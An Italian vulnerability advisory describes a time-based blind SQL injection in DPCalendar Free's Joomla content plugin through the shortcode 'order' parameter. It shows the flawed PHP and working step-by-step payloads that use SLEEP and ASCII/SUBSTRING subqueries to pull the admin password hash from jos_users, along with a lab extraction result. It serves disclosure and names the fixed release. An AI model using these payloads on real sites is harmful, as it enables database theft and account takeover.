
SQL Injection tramite shortcode ORDER BY in plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2
DPCalendar Free ≤ 10.11.2 — Author-level User Extracts Full Database via Time-Based Blind Injection
Il plugin di contenuto plg_content_dpcalendar analizza gli shortcode {{#events order="..."}}{{/events}} incorporati nel corpo degli articoli Joomla. Il valore del parametro order viene passato direttamente a , bypassando completamente la whitelist di del modello. Il valore viene poi inserito in una clausola SQL protetta solo da — insufficiente contro l'iniezione tramite subquery.
EventsModel::setState('list.ordering', ...)populateState()ORDER BYDatabaseDriver::escape()Un utente con ruolo Author che può creare o modificare articoli può sfruttare questa vulnerabilità per estrarre dati dal database tramite SQL injection blind basata sul tempo. La SQLi viene attivata all'interno della richiesta di salvataggio dell'articolo dell'attaccante stesso — nessuna interazione con la vittima, nessun articolo pubblicato e nessun coinvolgimento dell'amministratore richiesti.
| COMPONENTE | VULNERABILE | TESTATO SU | CORRETTO |
|---|---|---|---|
| DPCalendar Free | 1.0.0 – 10.11.2 | Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27) | 10.12.0 |
Nota: Questa vulnerabilità è distinta da CVE-2026-57831 (SQLi non autenticata in
EventsModel.phptramitefilter_created_by, corretta nella v10.11.2). La presente scoperta riguarda il plugin di contenuto (plg_content_dpcalendar) — un file diverso, un parametro diverso, e non era stata corretta nell'ultima release al momento della scoperta.
Tipo: SQL Injection (CWE-89) — Blind basata sul tempo
Autenticazione richiesta: ruolo Author (può creare/modificare articoli Joomla)
Endpoint: POST /index.php/submit-article?view=form&layout=edit
File: plg_content_dpcalendar/src/Extension/DPCalendar.php
Il parser di shortcode del plugin itera su tutti i parametri chiave-valore in un tag {{#events}} e imposta lo stato del modello direttamente, bypassando completamente la validazione della whitelist di populateState():
PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP — GESTIONE PARAMETRO VULNERABILE
foreach ($params as $paramKey => $paramValue) {
switch ($paramKey) {
case 'order':
// VULNERABILE: imposta lo stato di ordinamento direttamente dall'input utente
// bypassa completamente la whitelist di populateState()
$model->setState('list.ordering', $paramValue);
break;
case 'orderdir':
$model->setState('list.direction', $paramValue);
break;
// ...
}
}
Il valore contaminato fluisce in EventsModel::getListQuery() con solo l'escape delle virgolette applicato — insufficiente per bloccare l'iniezione tramite subquery in un contesto ORDER BY:
COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 — COSTRUZIONE ORDER BY
$orderCol = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');
// $db->escape() esegue l'escape solo delle virgolette — NON previene l'iniezione tramite subquery
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));
Una subquery come (SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0)) passa attraverso $db->escape() senza modifiche perché non contiene caratteri di virgoletta. L'SQL risultante diventa:
ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))--
L'espressione ORDER BY viene valutata solo quando il set di risultati non è vuoto — richiedendo almeno un evento DPCalendar futuro pubblicato, la condizione standard per qualsiasi installazione DPCalendar attiva.
Comportamento chiave: La SQLi viene attivata all'interno della richiesta POST di salvataggio/modifica stessa — il ritardo temporale è osservabile direttamente nella risposta HTTP (redirect 303). L'attaccante misura il tempo di risposta della propria POST; nessuna visualizzazione di articolo, ricaricamento di pagina o fase di pubblicazione richiesti.
Prerequisiti:
plg_content_dpcalendar abilitato (predefinito nell'installazione DPCalendar)start_date futuraScenario: SQLi Blind basata sul tempo → Estrazione credenziali admin
Il plugin imposta filter.state = 1 e list.start-date = NOW() prima di costruire la query. Le subquery ORDER BY vengono eseguite solo quando il set di risultati contiene righe; se 0 righe corrispondono, SLEEP() non viene mai chiamato.

Autenticarsi al frontend Joomla utilizzando un account Author. Nessun accesso admin è richiesto in nessun punto di questo attacco.

Navigare al modulo frontend di invio articolo (/submit-article). Inserire il seguente payload nel corpo dell'articolo e cliccare su Salva:
{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}
La risposta POST stessa viene ritardata di ~5 secondi. onContentPrepare viene attivato durante la pipeline di salvataggio Joomla, invocando la query vulnerabile prima che venga emesso il redirect 303. Nessuna visualizzazione di articolo o pubblicazione necessaria.

Sostituire 1=1 con 1=2 (sempre falso). SLEEP non viene attivato e la risposta ritorna immediatamente (~100ms), confermando una separazione temporale affidabile.
{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}

Utilizzare confronti ASCII(SUBSTRING(...)) per leggere ogni carattere. Le virgolette singole devono essere evitate (la regex dello shortcode [^"\']* si ferma a qualsiasi carattere di virgoletta); utilizzare invece valori ASCII decimali:
{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}
Tempo di risposta ~5s → TRUE → char[1] = '$' (ASCII 36 — primo carattere di un hash bcrypt $2y$10$...).

Eseguire exploit/exploit.py per automatizzare il ciclo di estrazione byte per byte:
python3 exploit/exploit.py http://TARGET
Lo script accede come Author, invia payload appositamente costruiti ed estrae username, email e l'hash completo della password bcrypt a 60 caratteri. Risultato di laboratorio confermato: admin / [email protected] / $2y$10$5hGoueEFCH1z3NXZT3aWj.RZQ7ebuRqe8xU/s56iZPidb2GX1NqoC.

| Condizione | Tempo di risposta |
|---|---|
TRUE: ASCII(SUBSTR(password,1,1))=36 | ~5.000 ms |
FALSE: ASCII(SUBSTR(password,1,1))=65 | ~100 ms |
jos_users.password), token di sessione ed email utente tramite SQL injection blind basata sul tempo.